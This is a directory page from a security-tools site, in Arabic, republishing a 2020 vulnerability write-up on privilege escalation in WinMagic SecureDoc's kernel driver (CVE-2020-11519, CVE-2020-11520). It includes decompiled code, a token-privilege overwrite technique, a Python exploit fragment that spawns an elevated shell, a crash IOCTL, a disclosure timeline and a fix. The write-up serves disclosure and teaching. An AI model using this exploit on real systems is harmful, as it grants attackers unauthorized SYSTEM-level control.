Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
winmagic_sd — تقرير فني حول واستغلال PoC لـ CVE-2020-11519 و CVE-2020-11520 | Kitploit
أدوات/GitHubGitHub/patois/winmagic_sd
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubpatois/winmagic_sd

winmagic_sd

تقرير فني حول واستغلال PoC لـ CVE-2020-11519 و CVE-2020-11520

عرض المستودع
1232منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

عرض تقني حول CVE-2020-11519 و CVE-2020-11520

التاريخ: يونيو 2020

المؤلف: دينيس إلسر (الكود: github)

جدول المحتويات

  • مقدمة
  • المنهج والوصف التقني
    • CVE-2020-11519
    • CVE-2020-11520
  • إثبات المفهوم للاستغلال
  • الجدول الزمني للإفصاح
  • الحل
  • المجاميع الاختبارية
  • المراجع

مقدمة

بالإشارة إلى تمثيلها على الويب، فإن Winmagic SecureDoc "تسمح للشركات بالتعامل مع أمان بيئة تكنولوجيا المعلومات الخاصة بها بكفاءة، مستفيدة من ميزات تشمل: التشفير الكامل للقرص (FDE)، والمصادقة متعددة العوامل، وتشفير حاويات الوسائط القابلة للإزالة (RMCE)، وتشفير الملفات والمجلدات (FFE). تساعد هذه الميزات الشركات على زيادة الأمان، وتخفيف مخاطر الأعمال، وتلبية المتطلبات الحكومية والتنظيمية لتشفير القرص الصلب."

يتأثر منتج Winmagic SecureDoc، المتوفر في إصدارات مستقلة ومؤسسية، بثغرات رفع صلاحيات محلية (CVE-2020-11519 و CVE-2020-11520) في الإصدارات 8.3 و 8.5. بعد الإبلاغ عن الثغرات لشركة Winmagic في أواخر مارس، أصدر البائع تصحيحًا (الإصدار 8.5SR2) في منتصف يونيو 2020. ومع ذلك، وُجد أن هذا التصحيح يعالج الثغرات بشكل غير كافٍ، مما جعل الإصدار 8.5SR2 أيضًا عرضة للثغرات المبلغ عنها. على الرغم من حجب التفاصيل التقنية حول الثغرات لهذا السبب، فقد اعتبرت الثغرات علنية منذ ذلك الحين. وفقًا للبائع، هناك تصحيح آخر قيد الإعداد، بعد حوالي 106 أيام من التقرير الأولي للثغرة لشركة Winmagic. في 15 يوليو، بعد 111 يومًا من التقرير الأولي للثغرة للبائع، أصدرت Winmagic SecureDoc v8.5 SR2 HF1 للعملاء، والذي يُفيد بإصلاح CVE-2020-11519 و CVE-2020-11520. لم يتم اختبار إصدارات SecureDoc الأقدم من 8.3، ولكن يمكن افتراض أنها متأثرة أيضًا، بناءً على كود المكون المتأثر.

سيؤدي الاستغلال الناجح لأي من الثغرات إلى رفع الصلاحيات إلى صلاحيات النظام للمهاجمين المحليين الموثقين.

المنهج والوصف التقني

تؤثر كلتا الثغرات على المكون "SDDisk2k.sys"، وهو برنامج تشغيل Kernel يأتي مع منتج Winmagic SecureDoc. تم تحديد الثغرات الأمنية باستخدام التحليل الثابت اليدوي بمساعدة أداة تفكيك وفك الترجمة Hex-Rays IDA Pro. بأثر رجعي، كان من الممكن اكتشاف نقاط الضعف بجهد أقل بكثير إذا تم تطبيق طرق الاختبار الديناميكية مثل التشويش (fuzzing) بدلاً من ذلك. وذلك لأن برنامج التشغيل يمكن التفاعل معه من تطبيقات وضع المستخدم المحدودة، ويفترض افتراضيًا أن مدخلاتها جيدة الصياغة.

CVE-2020-11519

بسبب الإنشاء غير الآمن لبرنامج التشغيل "SDDisk2k.sys" لكائن جهاز "SecureDocDevice" وغياب الكود الذي سيؤسس واصف أمان مناسب، حتى حسابات المستخدمين المحدودة تحصل على القدرة على الحصول على مقبض للجهاز باستخدام دالة API CreateFile(). مع منح برنامج التشغيل لتطبيق وضع المستخدم مقبضًا لكائن جهازه، فإنه يفتح بذلك مسارًا مباشرًا لسطح الهجوم الخاص به في عالم kernel.``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }

root@kitploit:~
من خلال الهندسة العكسية لعدد من معالجات خدمة [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) لبرنامج التشغيل "SDDisk2k.sys"، تم اكتشاف أن أحدها يعرض وظائف حاسوبية لوضع المستخدم، حيث يسمح بعمليات القراءة والكتابة لقطاعات القرص الخام لأي محرك أقراص - حسب التصميم. بالإضافة إلى ذلك، من خلال التفاعل مع هذا الكود نفسه، لوحظ أن برنامج التشغيل يتجاهل أي أقفال حصرية قد تكون تم تعيينها مسبقًا على محرك أقراص. ونتيجة لذلك، أصبحت عمليات القراءة/الكتابة المتزامنة ممكنة، مما يسهل ظروف السباق ويخاطر بفقدان البيانات.

يوضح ما يلي معالج خدمة IOCTL المُفكك لبرنامج التشغيل المسؤول عن معالجة طلبات قراءة قطاعات القرص الخام. يستدعي دالة sub_29CD4() بوسيطة "controlled_buf"، وهي مؤشر لمخزن مؤقت يمكن اختيار محتواه بشكل تعسفي بواسطة أي تطبيق يستدعي من وضع المستخدم:``` c
if ( ioctlcode == 0x8D1F2824 )   // <--- I/O control code for raw disk reading functionality
{
  controlled_buf = (unsigned __int8 *)controlled_addr;
  mode = 0;
  temp_result = sub_29CD4((char *)controlled_buf, v3, mode);   // <--- call to raw disk read function

في الواقع، هذه المخزن المؤقت الذي يسيطر عليه المهاجم هو بنية تحتوي حقولها "offset" و"length" و"ptr_buf" على وسائط دالة غير مُتحقق منها بالكامل تم تمريرها إلى استدعاء IoBuildSynchronousFsdRequest(). تقوم الدالة الأخيرة بإعداد حزمة طلب إدخال/إخراج IRP_MJ_READ (IRP) التي ترسلها إلى برنامج تشغيل نظام الملفات الأساسي باستخدام استدعاء IofCallDriver():``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode

// advance pointer p = controlled_buf + 1;

// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);

root@kitploit:~
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
  || (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
  // extract further fields from structure
  offset = *(_QWORD *)(p + 0x4E);                    // <--- where to start reading from
  length = *(_DWORD *)(p + 0x56);                    // <--- number of bytes to read
  ptr_buf = *(void **)(p + 0x5A);                    // <--- ptr to destination buffer
  devobj = DeviceObject;
  StartingOffset.QuadPart = offset << 9;
  KeInitializeEvent(&Event, NotificationEvent, 0);
  
  // build request
  v17 = IoBuildSynchronousFsdRequest(
          (unsigned int)(mode != 0) + IRP_MJ_READ,   // <--- issue read request
          devobj,
          ptr_buf,
          length << 9,
          &StartingOffset,
          &Event,
          &IoStatusBlock);
  v18 = v17;
  if ( v17 )
  {
    v19 = v17->Tail.Overlay.CurrentStackLocation;
    if ( mode )
      v19[0xFFFFFFFF].Flags |= 0x10u;
    ObfReferenceObject(devobj);

    // send request to respective device object (issue read request)
    v12 = IofCallDriver(devobj, v18);

//[...snip...] }

root@kitploit:~
تمامًا كما هو الحال مع قراءة قطاعات القرص الخام، فإن كتابة قطاعات القرص من وضع المستخدم تصبح ممكنة عن طريق استدعاء معالج IOCTL 0x8D1F2820، والذي يعالج نفس بنية البيانات ويتم تنفيذه بطريقة مماثلة. نظرًا للتوافق مع بروتوكول هذا المُشغِّل، لا يوجد ما يمنع التطبيقات العشوائية في وضع المستخدم من اختراق نظام التشغيل بالكامل. ما لم يكن محميًا بآلية إقلاع آمنة، فإن هذا يشمل حتى تثبيت برامج يُسمح لها بالعمل في وقت مبكر جدًا أثناء عملية إقلاع النظام (ransomware، bootkits، implants مخصصة...).

### CVE-2020-11520

كشف الفحص الإضافي لمعالجات الخدمة الخاصة بالمُشغِّل "SDDisk2k.sys" أن عناوين الذاكرة الواردة من تطبيقات وضع المستخدم تُعالج دون التحقق المسبق. في بعض الحالات، يتم كتابة الذاكرة التي تُشير إليها هذه المؤشرات بشكل أعمى بواسطة المُشغِّل، مما يمكن استغلاله من قبل المهاجمين لإنشاء بدائيات كتابة في النواة. بينما تسمح جميع بدائيات الكتابة بالتحكم المباشر في **أين** تُكتب البيانات، لم يتم العثور للأسف على أي منها يسمح بالتحكم المباشر في **ما** البيانات التي تُكتب. باستثناء [CVE-2020-11519](#cve-2020-11519)، الذي يتطلب استغلاله في هذا السياق منعطفًا إضافيًا عبر عمليات القراءة/الكتابة على القرص، وهو أمر أعتبره أسلوبًا غير نظيف وأردت تجنبه. ومع ذلك، تم تحديد معالج معين لم يسمح بالتحكم في البيانات نفسها، لكنه أثبت أنه جيد بما يكفي لإعادة استخدامه بوسائل أخرى.

يُظهر الكود المُفكَّك أدناه معالج الخدمة الخاص بالمُشغِّل لرمز IOCTL 0x8d1f282c. يأخذ عددًا صحيحًا 16 بت "count" من مخزن مؤقت يتحكم فيه المستخدم، ثم يضمن عدم تجاوزه لحد معين. أخيرًا، يتم الحصول على مؤشر "dst" من نفس مخزن الإدخال المتحكم فيه، لكنه لن يتم التحقق من صحته مطلقًا قبل تمريره كوسيطة إلى استدعاء لاحق لـ memmove(). مما أثار خيبة أملي في البداية، أن المخزن المؤقت "src" الذي يُمرر كوسيطة إلى memmove() ليس متحكمًا فيه بل يشير إلى سلسلة نصية ثابتة ("FRNSecureDoc v4.1\0")، مما يحد من فائدته للاستغلال إلى حد ما. من الواضح أن معالج الخدمة هذا يكتب معرّف إصدار في عنوان يمكن للمستخدم تحديده، والذي قد يُستخدم أيضًا بشكل خاطئ للتعرف على الإصدارات الضعيفة من Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c

// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);

// if count is zero, return error
if ( !count )
{
  *((_WORD *)controlled_buf + 5) = 0x13;
  goto leave_dispatcher;
}

// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
  count = 0x11;

// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4;   // <--- 'FRNSecureDoc v4.1',0

// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;

مع ذلك، فإن جعل عنوان "dst" الخاضع للتحكم الكامل يشير إلى موقع مناسب في مساحة النواة يعيد استخدام معالج IOCTL هذا ويحوله إلى بديل كتابة في النواة. بالإشارة إلى [1] و[2]، قد يؤدي استدعاء معالج الخدمة هذا مع "dst" يشير إلى عنوان النواة لرمز العملية، أو بشكل أدق، إلى عضو "Privileges" الخاص به عند الإزاحة 0x40، إلى رفع الامتيازات :)``` 0: kd> dt nt!_token ffffe40955f766b0 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES [...snip...]

0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
هيكل `SEP_TOKEN_PRIVILEGES` هو مجموعة من أقنعة البتات، حيث يمثل كل بت علم امتياز فردي. كنتيجة منطقية، فإن مطالبة برنامج تشغيل SecureDoc بتخزين أجزاء من سلسلة إصداره `"FRNSecureDoc v4.1\0"` في هيكل `SEP_TOKEN_PRIVILEGES` لرمز العملية يجب أن تقلب بضع بتات وربما تفعّل امتيازات مفيدة، على الأقل من الناحية النظرية. كما اتضح، من خلال جعل برنامج التشغيل يخزن أول حرفين من سلسلة إصداره في الإزاحتين 1 و2 من حقل "Present" لهيكل `SEP_TOKEN_PRIVILEGE`، يتم تعيين عدد من امتيازات الرمز المثيرة للاهتمام. الحرف `**F**` المأخوذ من `"**F**RNSecureDoc v4.1\0"` يساوي 01000110 وبالتالي يضبط البت 9 (SeTakeOwnershipPrivilege)، والبت 10 (SeLoadDriverPrivilege)، والبت 14 (SeIncreaseBasePriorityPrivilege) من حقل "Present". الحرف `**R**` يساوي 01010010، ويضبط البت 17 (SeBackupPrivilege)، والبت 20 (SeDebugPrivilege)، والبت 22 (SeSystemEnvironmentPrivilege):

| رقم البت ("Present") | الحرف | البايت         | الامتياز |
| :--------------: | :-------: | ------------ | --------- |
| 8                | 'F'       | 0100011**0** | SeSecurityPrivilege |
| 9                | 'F'       | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10               | 'F'       | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11               | 'F'       | 0100**0**110 | SeSystemProfilePrivilege |
| 12               | 'F'       | 010**0**0110 | SeSystemtimePrivilege |
| 13               | 'F'       | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14               | 'F'       | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15               | 'F'       | **0**1000110 | SeCreatePagefilePrivilege |
| 16               | 'R'       | 0101001**0** | SeCreatePermanentPrivilege |
| 17               | 'R'       | 010100**1**0 | **SeBackupPrivilege** |
| 18               | 'R'       | 01010**0**10 | SeRestorePrivilege |
| 19               | 'R'       | 0101**0**010 | SeShutdownPrivilege |
| 20               | 'R'       | 010**1**0010 | **SeDebugPrivilege** |
| 21               | 'R'       | 01**0**10010 | SeAuditPrivilege |
| 22               | 'R'       | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23               | 'R'       | **0**1010010 | SeChangeNotifyPrivilege |

## إثبات المفهوم الاستغلالي
تم تطوير [إثبات مفهوم استغلالي](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) بلغة Python وتم تصحيحه بمساعدة [مصحح نواة WinDbg من مايكروسوفت](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk) المرفق بجهاز افتراضي x64 يعمل بنظام Windows 10.

يكتسب هذا الاستغلال الإثباتي عنوان النواة لرمز الأمان الخاص بالعملية الحالية، ومن بين أمور أخرى، يقوم بتمكين امتياز SeDebugPrivilege عن طريق استغلال الثغرات الموصوفة. ثم يشرع في إنشاء شل أوامر يرث الامتيازات المرتفعة حديثًا للرمز.

تعيين علم SeDebugPrivilege سيجعل من الممكن حقن كود شيل وتشغيله في سياق عملية SYSTEM - سأترك هذا الجزء لك على الرغم من ذلك ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
    print("[!] Could not get address of token")
    sdi.close()
    return

print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()

os.system("cmd.exe")

من أجل تجنب تعريض بيانات أي شخص للخطر، لم يتم تضمين أي كود نشط للقراءة/الكتابة من/إلى قطاعات القرص الخام باستخدام CVE-2020-11519 في النسخة العامة من هذا الاستغلال (PoC). ومع ذلك، يمكن تحويله بسهولة إلى أداة تثبيت لأي كود تريد أن يعمل به قطاع التمهيد الخاص بك، إذا تمت إضافة استدعاءات الدوال disk_read_raw() و disk_write_raw(). ماذا عن تثبيت ولعب جولة من tetros كبديل لتثبيت الغرسات؟ ;)

يُظهر ما يلي امتيازات رمز العملية الحالية قبل وبعد تشغيل استغلال إثبات المفهوم، على التوالي.``` C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

C:\Users\re>python3 sd_poc.py

EoP PoC for WinMagic SecureDoc 8.5

[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

root@kitploit:~
يمكن العثور على كود الاستغلال (PoC) [هنا](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py). يستهدف الإصدار v8.5 من Winmagic SecureDoc x64 ولكنه قد يعمل على الإصدارات الأقدم (غير مختبرة).

إذا وصلت إلى هنا وما زلت تشعر بالملل الشديد، فلا تتردد في الاتصال بكود IOCTL 0x8D1F2848 ;)``` c
case 0x8D1F2848:
  DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
  if ( *(_WORD *)controlled_buf == 0x55AA
    && *(_QWORD *)(controlled_buf + 2)
    && *((_WORD *)controlled_buf + 5) == 4 )
  {
    StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
    if ( !StartContext )
    {
      KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
      KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
    }
    DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
    *StartContext = **(_DWORD **)(controlled_buf + 2);
    if ( PsCreateSystemThread(
            &ThreadHandle,
            0x1FFFFFu,
            0i64,
            0i64,
            0i64,
            (PKSTART_ROUTINE)sub_23948,
            StartContext) < 0 )
      ExFreePoolWithTag(StartContext, 0);
    else
      ZwClose(ThreadHandle);
  }

الجدول الزمني للإفصاح```

Date | Comment

2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)

root@kitploit:~
## الحل
قم بالتحديث إلى Winmagic SecureDoc v8.5 SR2 HF1.

## المجموع الاختباري
| اسم الملف             | الإصدار | التجزئة (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |

## المراجع
1. [إساءة استخدام امتيازات الرموز لتصعيد الامتيازات المحلية](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [استغلال CVE-2014-4113 على ويندوز 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [استغلال نواة ويندوز محلي بسهولة](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [لدي 99 مشكلة لكن مؤشر النواة ليس واحدة منها](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [استغلال مقابض العمليات والمسارات المسربة](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [مناقشة Sourceforge حول استدعاء NtQuerySystemInformation باستخدام ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [ملاحظات إصدار SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)
تنزيل الأداة